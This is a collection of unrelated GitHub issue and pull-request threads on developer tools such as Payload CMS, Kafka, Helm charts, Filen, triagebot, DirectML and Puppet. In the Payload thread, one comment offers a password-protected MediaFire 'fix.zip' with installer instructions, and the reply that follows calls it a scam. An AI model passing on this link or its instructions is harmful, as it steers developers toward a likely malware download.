Beta 91 breaks with next.config.ts

Link to reproduction
No response
Payload Version
Beta 91
Node Version
21.4.0
Next.js Version
Canary 130
Describe the Bug
After updating from payload beta 90 to 91 without any other changes, when running dev it throws this:
node:internal/modules/cjs/loader:1181
  const err = new Error(`Cannot find module '${request}'`);
              ^

Error: Cannot find module<EMAIL_ADDRESS>
Reproduction Steps

pnpm create payload-app@beta
Replace dependencies to use next canary 130 and payload beta 91.
Rename next.config.js to next.config.ts.
pnpm devsafe
Boom.

Reverting to beta 90 and leaving everything else the same fixes the issue.
Adapters and Plugins
No response

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Scam comment above ^

Can you retry with Next canary 107?
Also, do you have "type": "module" in your package.json?

Can you retry with Next canary 107?
Also, do you have "type": "module" in your package.json?

On any version before 91 (and all latest next canaries) everything worked perfectly. Is there a specific reason you want me to try downgrading next? It works when I downgrade payload to 90, and leave next at 130.

Until Beta concludes I would recommend sticking to exactly the package versions that Payload's examples specifies: https://github.com/payloadcms/payload-3.0-demo/blob/main/package.json as Next canaries can easily break Payload.

Until Beta concludes I would recommend sticking to exactly the package versions that Payload's examples specifies: https://github.com/payloadcms/payload-3.0-demo/blob/main/package.json as Next canaries can easily break Payload.

I think it's fair to assume that next is not at fault here, since it worked and still works with all the ~2 weeks worth of canaries and the only difference between working and not working is payload version 91 vs 90. I've got at least 4 projects currently in production with canaries higher than the example and closer to the current ones with no issues whatsoever. But this is beside the point, you're commenting on a bug report for a specific case for the latest beta, I don't think "sticking to old versions" to "solve" an issue on a OSS project is helpful, @tyteen4a03, don't you think?

I guess I should reword it as Payload can be easily broken by newer Next canaries, which is just an unfortunate fact working with Betas.
There's nothing wrong with the issue, just suggesting sticking to the current versions in case you wanted the problem fixed quickly :)

Thanks, @tyteen4a03 , I'm fully aware of the dangers of working with beta/canary software :) As I mentioned in the issue, reverting back to payload beta v90 is how I made the problem go away quickly and will stick to that until this issue resolved.

Just checked, version 95 still has the same problem

I'm having the same issue with
Node v22.7.0
PayloadCMS v3.0.0-beta.96 and
NextJS v15-15.0.0-canary.134.
Also I'm using next.config.ts instead of next.config.js.
I solved it by going back to next.config.js.
But I think using TypeScript for the next.config file is a good feature (on NextJS side) and should be supported by PayloadCMS!

Try to use .mts extension instead of .ts

This should be fixed with https://github.com/payloadcms/payload/pull/8521 (beta.111).


bump to Kafka 0.10 client

Looks good. I will test with Kafka 0.10 tomorrow. Not sure why the tests fail!

broker didn't start up. might have made a typo or something. ran it locally

@talevy can you rebase with https://github.com/logstash-plugins/logstash-input-kafka/pull/95 and then add new Kafka version to the matrix. This way we'll test both Kafka versions..

@talevy ping to rebase

LGTM


https://runatlantis.github.io/helm-charts/index.yaml : 404 Not Found

Error: looks like "https://runatlantis.github.io/helm-charts" is not a valid chart repository or cannot be reached: failed to fetch https://runatlantis.github.io/helm-charts/index.yaml : 404 Not Found
[05:16:19] jstewart@mgmt001 [k8s:ine2-aks-tools-admin] ~ $```

Helm chart version moved here is also crazy old? I guess the move is not complete... @lkysow

Hey ya'll, I ran into issues trying to get this up and running and I thought I had until Nov. 1st but it looks like they've deprecated stable/atlantis earlier than I thought.

Hi all, I think this should be working now.
$ helm repo add runatlantis https://runatlantis.github.io/helm-charts
"runatlantis" has been added to your repositories
$ helm search repo atlantis
NAME                	CHART VERSION	APP VERSION	DESCRIPTION
runatlantis/atlantis	3.12.4       	v0.14.0    	A Helm chart for Atlantis https://www.runatlant...
stable/atlantis     	3.12.2       	v0.14.0    	A Helm chart for Atlantis https://www.runatlant...

I'm going to close it but let me know if it's not.

Yep, works! ⭐

Doesn't look like 3.12.5 was published to the index?

Hmm, somehow that didn't get published but use a newer version instead and it will work.

Hmm, somehow that didn't get published but use a newer version instead and it will work.


Status code: 429 on videoId 60ItHLz5WEA

Hi,
I found a new issue

Status code: 429 on videoId 60ItHLz5WEA

Try this
npm install ytdl-core@latest
If it's not solved refer https://github.com/fent/node-ytdl-core#what-if-it-stops-working

Closed via #50


[REMOVAL] Please remove filen from the list.

Title
FileN
Removal Reason
I purchased their plan and been with filen for about more than a month. Their support is unresponsive of any issue. If you see their repository issues, then you will assume whether the project is dead! More than 7 months old issues are still waiting to be just answered. Their sub Reddit is a mess. You will be bombarded if even raise any issue with any bug. This repository is a sanctuary for me, but this purchase is causing me so much pain. Their app is terrible is quality and lack of basic requirements such as syncing all files properly. You will see there are corrupted and missing files here and there! There is no way to make sure all files are properly synced.
References:

https://www.reddit.com/r/filen_io/comments/1aiahl6/filen_app_development_speed_is_concerning/
https://github.com/FilenCloudDienste/filen-desktop/issues
https://github.com/FilenCloudDienste/filen-mobile/issues

Association Disclosure
I am a paid user.
Would you like to submit a PR?
Yes!
Please tick the boxes

[X] You have filled out this form accurately, and to the best of your knowledge
[X] You have indicated whether or not you are associated with this project or a competitor
[X] A similar submission has not already been opened for this software/ service
[X] You agree to the code of conduct

Thanks @uncharted-user
I'm looking into this. Do you know of anyone else whose had issues with Fillen. This is the first I've heard about problems with this service.

All the repos do look to be actively maintained, with tickets being triaged and addressed properly.
I'll look into this further, but maybe @Arcus-Filen @Dwynr or @DanielProg39 could share some insight as to where Filen's at the moment.

I'm here to answer anything I can. Although I should point out that I am not a part of the Filen staff and I am not directly affiliated with them. However, I am a contributor, a Pro plan user and I follow the project closely so I consider myself to have a higher level of awareness of its state.
Where is Filen at the moment? Filen is being actively developed and the company is now facing significant operational changes, so the project is definitely not stale or dead. It may appear that way on the surface because most of the work is done behind the scenes, so there are no major developments in the public repos at the moment, apart from the recent development of a new mobile client version. Which, by the way, is part of the latest project update (and probably the biggest one yet), adding notes, chats and contacts to the web and mobile clients. The team is working on hiring more people and reorganising internal operations to better handle the maintenance of the service and the intensity of development. In terms of development, work is underway to implement workspaces (which are primarily for business, but some of the functionality will be available to consumers, as is already the case with chats and contacts, for example) and to make the service a more viable B2B option. There is another area of development that is more relevant to the author of this issue.
The user in question has complained that the desktop application does not work on his computer. It seems that he's upset that the developers haven't responded to his issue, and haven't fixed numerous others that, tldr, describe how the synchronisation is broken in numerous ways, which is entirely true. But there is a reason for all this. First of all - development of the desktop application has been stopped, which means that no issues or pull requests are being reviewed. Instead, a completely new desktop app is being developed internally, which will include a built-in file explorer and an option to mount cloud storage in addition to syncing. So yes, the desktop app has been abandoned and is unusable in some circumstances, but that doesn't mean there's no work going on, or worse, that the whole project is dead.
If you want a more detailed look at what's happening in the company, you can check out their blog.
If you have any further questions, feel free to ask.
P.S. I just checked out your project and I really like it, you get a star from me ;)
P.P.S. I have some comments about the cloud storage providers you listed, let me know if you are interested. Also, I can contribute by adding a number of applications and services across several topics.

Thank you so much Daniel, you're insight here is super helpful.
And kudos to you for all your work on Filen, I'd assumed you worked there, based on you being one of the top contributors on the web and mobile apps. Hats off to you 🫡
My stance on this, is that we keep Filen here. It's overall a very good service, meets the criteria in-terms of privacy, and though the quality issues mentioned by OP do sound unfortunate and frustrating, it sounds like these are being worked on, and will be resolved in due course. But of course, I'll keep an eye on this

P.P.S. I have some comments about the cloud storage providers you listed, let me know if you are interested. Also, I can contribute by adding a number of applications and services across several topics.

Please, yes very interested! I'm (slowly) working my way through this list updating/removing/adding listings, but some of the categories (like cloud storage) is not my area of expertise. So I'd definitely love to hear any thoughts you have, or if there's anything I should edit/delete or add. PRs are also very welcome ;)
Thanks again, and have a good evening!

I fully understand your concerns.

There is also question about data integrity.

This is largely the problem with the desktop application, so the only viable option at the moment is to wait until the new one is released. For example, I don't use it anymore because it's unstable. Yes, it's less convenient, but I'm relatively fine with just using web and Android apps for now, because the syncing functionality isn't the main thing, it's the job of easily storing and managing files in the cloud that Filen is good at. The web and mobile apps do this quite well.

Unfortunately, we users are not informed. Their unresponsiveness behavior is really frustrating as a paid user. It feels that we do not matter!

The lack of reliable and visible means of communication and information has been a major problem since the company's inception. I believe that if they had a better information strategy they could have a much larger user base and a much better informed community. At least they have started their blog, which is a significant step forward, but far from perfect. On the other hand, I can't really blame them, as almost all development is literally done by one person, and the team is physically unable to handle and respond to all the questions, problems and requests, despite their best efforts that may not be so visible on the surface. For example, Jan is too busy to respond to issues with the desktop application, especially as it's being abandoned and the new one is being developed, it's just not important enough to spend time on given the amount of work he and his team are doing. However, as I said earlier, there is work going on in the corporate structure that also aims to address these issues.

I agree that it's irresponsible not to respond to customers' concerns and not to properly inform them about the state of development of the desktop application, it's the Filen staff's fault and nothing can fully justify it. BTW, the advice not to use the desktop client is my personal advice, you are free to use it as long as you don't have problems, I just wanted to point out that the developers are aware of the situation and are working on a new client.
My personal opinion on this situation: this is not the end of the world. Putting your users at risk of corrupted or missing files by not addressing the situation properly is definitely wrong and irresponsible. But synchronisation is not the main feature of the service and it doesn't significantly affect the overall quality of the service: it's secure, the speeds are great, the storage is reliable. That's what you'd expect from such a service in the first place, and it delivers what it promises, so while the problems with the desktop client and your feelings about the lack of response from the developers and the lack of information to customers may be valid reasons for you not to use it, they're not objective reasons for everyone not to use it.

I would like to add, that since this issue was raised, I signed up for, and downloaded Filen, tested it out across two computers, and I've not had any issues at all. Personally, I was quite impressed the the user experience and performance.
That said, I fully understand the concerns raised, and have reopened the ticket. I think let's revisit in a month or two, to see if the quality issues have been addressed.
In the meantime, I've reached out to Filen customer support, so hopefully they'll be able to give some more insight into if/when these issues will be addressed. They've annoyingly disabled Twitter DMs, and don't have an email address or phone number, just one of those annoying web forms. So I guess if I don't hear back from them, that proves OPs point about them being unresponsive!

Fair enough 👍

I've not had any issues at all

Me neither. I found a few minor inconsistencies, but nothing more than that. Mainly because I didn't sync many files. But things change when you have thousands of files and lots of subfolders, as some people do. The application is much more stable than it used to be and may still be suitable for many people. That's why I don't think the problems with the desktop application are a big deal for Filen; it can still be quite usable if you don't use it intensively and don't rely on it completely. But don't assume it's really stable, as some people are still experiencing problems. And it's the fact that many of those people are potentially those who rely on it to sync or back up a lot of potentially important files that makes it a problem. It's not a disaster and it's not completely broken, but it's not stable enough to be completely usable without major problems.

Reply from Filen support team is below 👇

Hello Alicia,
Thank you for contacting us.
Of course, the service is maintained.
We only recently set up our own complete server hardware infrastructure, including the corresponding data migration, which was one of the main reasons for the significantly delayed updates.
Since we started as a small startup, without investor money, completely self-financed, the development is unfortunately a bit slower compared to other companies and when mega projects such as completely own servers are added, which have to be maintained in the long term due to the sustainability for the company in order not to be dependent on third-party data center providers (like larger competitors, for example), things have unfortunately been slow lately. We are also still in the hiring process so that the workload can be spread further and problems can be addressed and resolved more quickly. As mentioned, this is not meant to be an excuse, but only to explain why things have not been going so smoothly for some users recently.
In this regard, we had already published blog posts some time ago, which addressed the reason for delays etc:
https://blog.filen.io/statusupdate-11-11-2023/
https://blog.filen.io/status-update/
Due to the available resources, we rotate with the applications and the corresponding updates, which sometimes leads to longer delays in between the updates.
This is also only because all the applications we offer are still being continuously expanded until all the planned features are implemented, as we first provided the website out of nowhere and then the other applications bit by bit.
The sync problems that have been mentioned come from a comparatively small group of users who naturally also want to get rid of their frustration. Of course this is annoying for both sides, but it is also difficult for us to reproduce these problems if there are not the same work environments and or the logs do not show any errors (for example storage access issues or network issues with the corresponding missing files) or the users either make operating errors or use other third party software, which also accesses the linked files and then interferes with our sync.
In addition, when we receive reports of problems, 90% of them come from Linux users, which is why we have explicitly pointed out in the corresponding downloads for Linux that the client currently only runs verified with the vanilla distributions Ubuntu/Debian (GNOME) (https://filen.io/apps). Many users use distributions that are not very widespread and unfortunately have to be pushed back due to the small number of users. In general, the access rate of users with Linux is 4-5%, which is why we unfortunately always prioritize the problems that affect the largest user group.
Of course, issues also occur on Windows and MacOS, which we do not forget to mention. But since we support 3 primary operating systems, we always do everything in one update and not one update for linux, one for Windows and one for MacOS.
The same applies to the mobile app on Android and iOS.
We have been able to collect many bugs/issues in the last weeks and months and are now in the process of completely renewing the sync client (improved sync logic, virtual drive, WebDAV integration etc.) As mentioned, everything has been delayed more than planned (which is why we are not giving out any ETAs so as not to give false hope unnecessarily). The mobile update was also delayed more than planned, but is now finally available in the stores. This update was brought forward due to the higher demand, especially because of the automatic camera upload or the file provider integration, so that the desktop client will only go into the first beta phase in the coming weeks. Corresponding commits will also be available in the repository in the coming weeks.
We can only apologize for the delays that have occurred.
No issue was forgotten or abandoned. It's just that due to the recent circumstances, restructuring and investments in the future security of the self hosted backend, everything has been delayed more than planned.
I will forward your request so that the relevant team members can take a look at it.
Kind regards,
Filen Support
2/27/2024, 10:27:53 PM

I think it's fair to say, that based on their reply, @DanielProg39's input and the other info here, that Filen is still very much under active development, and they're aware and addressing the user experience issues. There's also not been any major privacy or security concerns, which is normally the primary reason for removing something.
So I'm going to close this ticket, and keep Filen on the list. But feel free to add any more details below, if anything else comes up.
✌

@DanielProg39 since you kindly offered to answer questions – are they building the new desktop client around the new Typescript SDK repo that is being furiously developed, including on weekends?

Although I'm not entirely sure, I may have heard that they needed to build a new backend/SDK to better support new features like notes, contacts and chat for their desktop app and others. So basically the answer is yes.
But I must remind you that I am not a Filen representative and I am not fully aware of the internal developments and do not know much about the technical details of these developments. So take this with a grain of salt as I could be completely wrong.

Update: I probably was too hard on them, but the situation is much better right now. Their apps are working to find, although some features are missing, such as minimize to tray instead of closing, no option to limit the file version, and some reports of high CPU usages on idle for Sequoia. The first two problems are added as enhancement for future release, and the third one needed further investigation. They seem much more active on GitHub too regarding addressing issues.


Consistent naming convention for features detected in build script

I like the naming convention that Syn uses:
https://github.com/dtolnay/syn/blob/328748097539223e32f4cce663ff9523fedfab21/build.rs#L14-L21

cfg(syn_can_use_thread_id)
cfg(syn_can_call_macro_by_path)

Let's pick up a similar cfg(serde_can_..) naming convention for the features in serde/build.rs.

Good enough: 55a7cedd737278a9d75a2efd038c6f38b8c38bd6.


Fix wrong endpoint when searching in pull requests

The Github API are a bit confusing when the intent is to search
either through issues or pull requests. Their documentation mentions
the endpoint /search/issues, I'm not sure if /search/pulls
introduced in #740 was an API since then removed.
https://docs.github.com/en/rest/reference/search#search-issues-and-pull-requests
By the way, under the hood Github only has "issues" as entities and
pull requests are just "issues with a special flag".
Commit 106bbb22 unearthed this bug.
This patch should fix when searching through pull requests in the
rust-lang/rfcs repository, labels T-compiler and I-nominated were
ignored, corresponding to the [RFC] section of the WG-Prioritization agenda

r? @Mark-Simulacrum
cc: @spastorino @nikomatsakis

To be honest I'm not sure about those endpoints and how this should be done, would need to properly investigate but what I can say is if we merge this PR, let's better remove build_pulls_url and just use build_issues_url since from what I see the endpoint is the only difference.

@apiraino note that the link you're providing is about the search API and the code you're changing uses this https://docs.github.com/en/rest/reference/pulls API.

In any case, whatever we do those 2 methods are identical and we should not repeat the code as we are doing now.

thanks @spastorino for having a look. Following your hint I've checked a bit more and now I think their /{repo}/pulls API we are using does not support filtering by the label parameter.
On the other hand the /{repo}/issues does (case in point for this patch).
Good point on merging the two functions into one (they're now identical; sorry, could have paid more attention).

so @spastorino I've tried gathering some comparing data about what actually changes (since we don't have tests I can only this tool live). Tests have been run on Thu. June, 24th 2021 before the weekly T-compiler meeting.
Summary: the only difference I can see in the nominated RFCs section (which was my goal for this PR).

Here are the wg-prioritization agenda before and after the changes. The only diff I see is for the nominated RFCs, which now looks correct and doesn't output those spurious results
agenda-after.txt
agenda-before.txt
I've printed the output of the API queries emitted. The only difference I see is the query for nominated RFCs
queries-after.txt
queries-before.txt
I've timed the Triagebot cli run on both commits and the difference is negligible (like 2 or 3s)

Please feel free to verify the above data and point out anything I may have missed. Thanks :-)

can you pls also review https://github.com/rust-lang/triagebot/pull/1384/commits/3e2ec4c5820926705909d2d3d7110d685b6f3451 is it's consistent with your thoughts you wrote in this comment? We need to start documenting this tool, I think.

I wonder what happens if we apply this PR, to this https://github.com/rust-lang/triagebot/blob/3e2ec4c5820926705909d2d3d7110d685b6f3451/src/agenda.rs#L535 maybe @nikomatsakis have some thought about it. The only problem I could see to this PR is if you just want pull requests and not issues. Seems like for some reason we don't need that anymore in the wg-prioritization team but in that line seems like lang needs it. Would that case work correctly?.

ok so apparently this patch is confusing and also doing too many things. I thought the purpose was more straightforward (my bad).
So I'm going to close it and perhaps at a later point resubmit some of these changes splitting them into smaller chunks.
thanks @spastorino for the discussion and suggestions (I'll address the comments in a separate PRs)


Can the values of DimensionCount in DML_BUFFER_TENSOR_DESC be less than 4?

According to the DML_BUFFER_TENSOR_DESC doc, the valid values are either 4 or 5.

In DirectML, all buffer tensors must have a DimensionCount of either 4 or 5.

However, according to my test, the user code can set DimensionCount less than 4. For example, the following PyDirectML code that adds two tensors in shape of [2, 2] works just fine.
import pydirectml as dml
import numpy as np

device = dml.Device()
builder = dml.GraphBuilder(device)
data_type = dml.TensorDataType.FLOAT32
flags = dml.TensorFlags.OWNED_BY_DML
input_bindings = []
a = dml.input_tensor(builder, 0, dml.TensorDesc(data_type, [2, 2]))
input_bindings.append(dml.Binding(a, np.ones([2, 2], dtype=np.float32)))
b = dml.input_tensor(builder, 1, dml.TensorDesc(data_type, flags, [2, 2]))
input_bindings.append(dml.Binding(b, np.ones([2, 2], dtype=np.float32)))
c = dml.add(a, b)
op = builder.build(dml.ExecutionFlags.NONE, [c])
output_data = device.compute(op, input_bindings, [c])
output_tensor = np.array(output_data[0], np.float32)
print(output_tensor)

The output is
[[2. 2.]
 [2. 2.]]

Internally, the PyDirectML and DirectMLX.h will set the DimensionCount to 2. Other dimensions also work, like 1-d or 3-d.
Actually this is a very nice feature and would simplify the user code. I just want to know whether this feature is officially supported by DirectML. If it is, the doc probably needs to be updated.

@jstoecker @wchao1115 , do you have any insights? Thanks!

@jstoecker @wchao1115 , do you have any insights? Thanks!

Thanks for pointing this out. The statement in DML_BUFFER_TENSOR_DESC is out of date, and we'll need to correct that page to reflect some recent changes.
The 4D/5D restriction used to be true, but our latest feature level (3_0) supports a wider range of values in certain operators. Moving forward, you'll want to check out the documentation for individual operator APIs to see the allowed dimension counts. For example, DML_ELEMENT_WISE_ADD_OPERATOR supports 1 to 8 dimensions in feature level 3_0. PyDirectML uses the latest DirectML redistributable (version 1.4 / feature level 3_0) so you can rely on the latest feature level when determining usage in this case.

Thanks for pointing this out. The statement in DML_BUFFER_TENSOR_DESC is out of date, and we'll need to correct that page to reflect some recent changes.
The 4D/5D restriction used to be true, but our latest feature level (3_0) supports a wider range of values in certain operators. Moving forward, you'll want to check out the documentation for individual operator APIs to see the allowed dimension counts. For example, DML_ELEMENT_WISE_ADD_OPERATOR supports 1 to 8 dimensions in feature level 3_0. PyDirectML uses the latest DirectML redistributable (version 1.4 / feature level 3_0) so you can rely on the latest feature level when determining usage in this case.

For example, DML_ELEMENT_WISE_ADD_OPERATOR supports 1 to 8 dimensions in feature level 3_0.

That is what I look for. Thanks much @jstoecker !

For example, DML_ELEMENT_WISE_ADD_OPERATOR supports 1 to 8 dimensions in feature level 3_0.

That is what I look for. Thanks much @jstoecker !


(PUP-9251) Deprecate application orchestration constructs

This adds deprecation warnings for the application orchestration
constructs site, application and capability mappings
(produces/consumes).

@jbondpdx where are we with getting a stable link to the deprecation so I can update this PR?

The docs are versioned, and I don't have a way to give you a stable link to a version that's yet to be determined. If there's a recent solution to this, I don't know about it, so I'm happy to look into it further if you can point me toward something we've done.
I think the most reasonable solution would be https://puppet.com/docs/puppet/latest/release_notes_puppet.html#puppet-deprecations. However, because that link will go to whatever's latest, it's only going to be stable until the version where the constructs are removed.

@jbondpdx historically puppet has used links.puppet.com to direct users about deprecated or removed functionality. For example in puppet#master we emit user messages referencing these links:
$ git grep -o 'http.*links.puppet.com[^".]*' lib
lib/puppet/agent/disabler.rb:http://links.puppet.com/agent_lockfiles
lib/puppet/agent/locker.rb:http://links.puppet.com/agent_lockfiles
lib/puppet/defaults.rb:http://links.puppet.com/node_name_value for more information
lib/puppet/defaults.rb:http://links.puppet.com/node_name_fact for more information
lib/puppet/network/http/request.rb:http://links.puppet.com/deprecate_yaml_on_network
lib/puppet/parser/ast/node.rb:http://links.puppet.com/puppet-node-inheritance-deprecation
lib/puppet/pops/issues.rb:http://links.puppet.com/remove-plus-equals
lib/puppet/pops/issues.rb:http://links.puppet.com/puppet-import-deprecation
lib/puppet/pops/issues.rb:http://links.puppet.com/puppet-node-inheritance-deprecation

However, it looks like all of those links are dead now (404). Is there a way to bring them back? IIRC we used google URL shortener to manage those. If that's an option, can the web team add redirects?
If it's not an option, then I think we want to link to a stable version of the docs like https://puppet.com/docs/puppet/6.4.0/release_notes_puppet.html#puppet-deprecations. This way released agents can continue to refer to the link, even as we release new versions.

We can request redirects on the listed URLs from the Web team, if we get a list of the link and where it should now land.
So, the short answer is, I don't really have a good way to provide a stable link without knowing the version. The links.puppet.com thing hasn't (we think) worked for a while now.
I talked with other docs folks this morning, and the consensus was that it isn't necessarily a great practice to include links in error messages or warnings at all. The links above are a good example of why: IA changes, tools change, life changes, and now the links 404. Although they can be redirected or updated in the codebase, it would be better to have something we don't have to worry about chasing down.
If possible, we should instead have a statement that the user would be able to use to find the needed information via a search of the Puppet docs. The statement as given now really relies on the link to be of much help. I'd rather see us say something with practical advice like "Use of the application-orchestration %{expr} is deprecated. Use $whatever instead."

@jbondpdx We used to include the ticket number as that is a stable identifier for the change. That was not well liked as it could send users on a bit of a detour until they found relevant information/documentation.  In many cases of deprecation it is not a simple use x instead of y that will help users. As an alternative to using tickets, we could have unique identifiers for the deprecations that we simply make up in the codebase - for example "deprecation:hiera-3" and we tell user to search for that in puppet docs.
This ticket is blocked until there is a decision what to do.

I can definitely see that argument against ticket numbers in the error warning. I can provide a stable link for this as soon as we know what version we are targeting.

This won't make 6.9, but could be merged in 6.10. Can we assume that's the case, and add a stable link for that? Does any of this change now that we have "latest" y docs?

This won't make 6.9, but could be merged in 6.10. Can we assume that's the case, and add a stable link for that? Does any of this change now that we have "latest" y docs?

It might, yes! We could do one of two things:
Link directly to the issue. This is better, imo, but if it doesn't go into 6.10, the link would be wrong: https://puppet.com/docs/puppet/latest/release_notes_puppet.html#puppet-deprecations-x.10.0
Link to the release notes page. This leaves users having to search the page for the deprecation, but on the other hand, the link is good until Puppet 7---and at Puppet 7, I assume we'd have a release note about the removal. https://puppet.com/docs/puppet/latest/release_notes_puppet.html

@jbondpdx we still don't know how to deal with this darned link... Any advice?
I still think a link to the ticket is good enough) Or... a new ticket that is only there to inform the user about the deprecation. (@joshcooper ?)

Thanks for the ping @hlindberg . If we are really merging this into the codebase without knowing what version contains the change, link to  https://puppet.com/docs/puppet/latest/release_notes_puppet.html


Use s2n_array_len instead of manual array length calculation

Problem:
There are lots of places where we manually calculate sizeof(x) / sizeof(x[0]) instead of using s2n_array_len(x).
Proposed Solution:
Find and replace all places that manually calculate array lengths with the s2n_array_len() Macro.

Hi, kindly assign this to me, as I am trying to resolve it on #1269

可以试试。

Tested and merged, closing issue.


Redesign the blog

This pull request introduces a redesign of all pages of the blog. There are still a few things missing here, though:

[x] Instructions on how to remove the Contentful greeting section on the top of the template.
[x] Update greeting text and add design to the Try the web app button.
[x] Improve appearance of the copy within the hero section of the home page.
[ ] Update the content in the space, in Contentful.
[x] Improve appearance of the top bar for blog posts.
[ ] Add message for empty collection (nice to have)

Some changes:

[ ] The "Try the web app" button does nothing and is unstyled.
[ ] We're missing the text on the top bar that says "Remove the code in lines XXX to hide this notification"
[ ] For some reason I can't see any "Recent Articles" or any blog posts under /blog but I'm not sure if that's your code change or my Space set up.

👇 I get this a lot when jumping from home page to a blog post. It's as if everything renders but the CSS applied to the header, which is somehow keeping the weird absolute positioning of the picture of the home page and applying it to the blog post picture.

☝ @joaoramos This CSS problem should be fixed. :)


Modularise menu

Is this possible without #65 ?

Is this possible without #65 ?

Yes, I think we can modularise the existing menu. For example, we could handle the click events in a menu component and provide a more abstract event for them and propagate this to the top level - such as a series changed event.
However, as #65 is in progress, I think it makes sense to do this after #65? :smiley:

I misspoke, you're right. :) I think I meant to say it is conceptually easier for me to do this after #65.

I misspoke, you're right. :) I think I meant to say it is conceptually easier for me to do this after #65.

Cool, no problem, let's do this after #65 is closed.

@djmiley resolved with #125.

Continued in #157 #194


Retexture of weapons in the hands of the character Part 1

The beginning of a PR series dedicated to the refinement of weapon textures

About the PR

As written in the comment, this is the beginning of a series of improvements to weapon sprites in the game, after some updates to the weapon icon sprites, I noticed that the weapon sprites in the hands were left from old weapons (this problem is very visible on the SMG Drozd), this PR series should solve this problem
In the first part of the PR, the alteration was made for 4 shotguns (kramer, double-barreled shotgun, sawn off shotgun, homemade pistol)
Media

[X] I have added screenshots/videos to this PR showcasing its changes ingame, or this PR does not require an ingame showcase

Changelog

:cl:

tweak: Changed the sprites of some shotguns, now the sprite in the hands should look like the sprite of the icon

modify the meta.json copyright field to include that you edited the sprites

modify the meta.json copyright field to include that you edited the sprites

I made a postscript in the meta


Cold/Flu: Worksite drop down list needs to display Unit#

User Story
“As a user registering a worksite clinic I want to see the unit numbers of available worksites so I can confirm I am picking the correct one.
EXAMPLE: In the worksite drop down there is 2 entries for "700 W Pender"

Only after selection can you see the unit number and differentiate between the 2.

Tasks

[ ] Display the unit number in the worksite selection dropdown
[ ] Display as "Unit# dash Street Number  Street Name City" EXAMPLE: "1301 - 865 Hornby Vancouver"
[ ] Remove "Canada'/country from the worksite selection dropdown display

Acceptance Criteria
Worksite selection Dropdown displays

[ ] Unit #
[ ]  Street #
[ ]  Street name
[ ]  City

DOES NOT display

[ ]  Country

@Stella-Archer
There is tech limitation of displaying dash "-". It will always display "-" even if there is no unit.
Are you ok with this?

Solution - remove the dash and only have a space between unit number and street address

Tested in TEST, all dash has been removed


Update go policy and use stable go version for builds

Fixes #1123
Fixes #638

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 66.23%. Comparing base (8907a11) to head (bbe8e0d).

Additional details and impacted files
@@            Coverage Diff             @@
##             main    #1156      +/-   ##
==========================================
+ Coverage   65.76%   66.23%   +0.46%
==========================================
  Files         164      164
  Lines       13645    10582    -3063
==========================================
- Hits         8974     7009    -1965
+ Misses       4191     3090    -1101
- Partials      480      483       +3

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


API 2.0: Items

Version 2.0 Goals

ES2015 all the things
support for node and browsers
refactor so we don't have to pass in the token to all the functions

Questions:
Namespacing
Thoughts on having all this tied up in an ArcGIS namespace? Any value or just clutter? I'm leaning clutter...
First version had namespacing to match the AGO uri spaces... content & community etc. Seems like un-necessary abstractions leaking up. On the upside, mirroring that structure meant you could look for things in places similar to where the api had them.
This repo / package?
This is a major breaking change in API and philosophy. The current version is simple promise sugar over the portal api, and expects the developer to work with the returned json.
The new version would be oriented around building out classes with behavior, that persist themselves to the Portal API. Given the nature of the Portal API itself, it's not entirely clear that we can present nuances of the underlying API "leaking" up through this abstraction.
Instantiation
Create a portal instance.
AuthInfo would be optional, but if not present, more parts of the api will return 403s etc.
By default the Portal will point to ArcGIS.com, but passing in a portalRootUrl property would override that.
var portal = new Portal({
    portalRootUrl:'https://qaext.arcgis.com',
    authInfo: {
          username:'dbouwman',
           token:'MYTOKEN'
    }
});

Search for Items
If the portal instance was passed authInfo, that will be used.
portal.items.search({...hash of params...}).then(...)

List Items
The api requires a username for this request, so this will throw if the Portal does not have authInfo
portal.items.list({page:10,num:32}).then(...)

Get an Item
Will throw with a 400 if the item is not public or the auth'd user can not access it
portal.items.get('abc123').then(...)

Share an Item
User can only share items they own to groups they are members of.
not sure if we should expose this api detail (signature) or simply expose
groups, and access (public | org | private)
item.share({everyone: true/false, org:true/false, groups:['3ef...',b34...']}).then(...);
//or
item.access = 'org';
item.groups.push('3ef...');
item.groups.push('b34...');
item.save();

The latter would be nice, but it means we need to handle dirty-checking in the item model, and then know to call these other methods during the save cycle, which seems fraught with problems - i.e. the item updated because the user owns it, but they tried to share it with a group they are not a member of, and so that failed...
It would also mean that item.get('...') would need to fetch the groups, which is an extra call that's not normally needed.
Get Item Data
Item instance will be returned from items.get(...).
item.data().then(...)

Get Item Metadata
In node we can use a library to convert metadata into json. However, that library is huge and we don't want to ship that to a browser. Not sure if we should expose the format option or just get it as xml, and node apps can convert it as needed.
Item instance will be returned from items.get(...).
item.metadata({format:"xml" | "json"} ).then(...)

Get Item Groups
item.groups().then(...);

Create an Item
This will require authentication
I lean towards the first version...
var item = new ArcGIS.Item(json, portal);
item.save().then(...)

// this seems like the abstraction is leaking the portal api upwards
Portal.items.create(json).then(...)

Update an Item
This will require authentication.
If the item has a .data property, that should be saved as well.
item.save().then(...);

Delete an item
Only owner or org admin can do this.
portal.items.delete('3ef').then(...)

I also prefer treating things as objects when possible.
let portal = new ArcGIS.Portal({token: "...", url: "http://www.arcgis.com/..."});

let airQualityData = portal.items.search({q: "air", type:"layer"});
let epaAir = airQualityData[0];
epaAir.update({title:"EPA AirQuality"});
epaAir.save();

// could have been epaAir.update(..).then(save);

I'm curious if yield can help make the above appear sync when it's really async.

I like this - esp the idea of .update() taking a hash - as long as we can also expect to set properties directly like
epaAir.title = 'my new title';

epaAir.save()
.catch(function(err){
   //handle error
});

In harvesters I have Static (and Instance) .save() methods on Item, Group and Job. This is because there are some scenarios where it's overkill to instantiate an object to just set one property and then save it, AND things are happening in tight loops.
I feel that sort of optimization may be unique to harvester type applications. For now, let's stick with Instance methods.

This is on hold. The immediate need was for an Ember app, and it turns out that what's needed for an Ember DataAdapter is more akin to what this project already is - a simple wrapper over the xhr calls.
Thus, in the near-term, the ES2015 version of this library will reside in the ember project, with a long-term vision towards extraction into a stand-alone ES2015 lib.


New NPM Release v20160520.0.0

@joeltine Will there be a v20160520.0.0 release?

No sorry. This PR was created as a result of me debugging our NPM release script.

@joeltine Ok thanks for the explanation. Just wondering because I was updating some dependencies.


New set of rules released: vrsource-tslint-rules

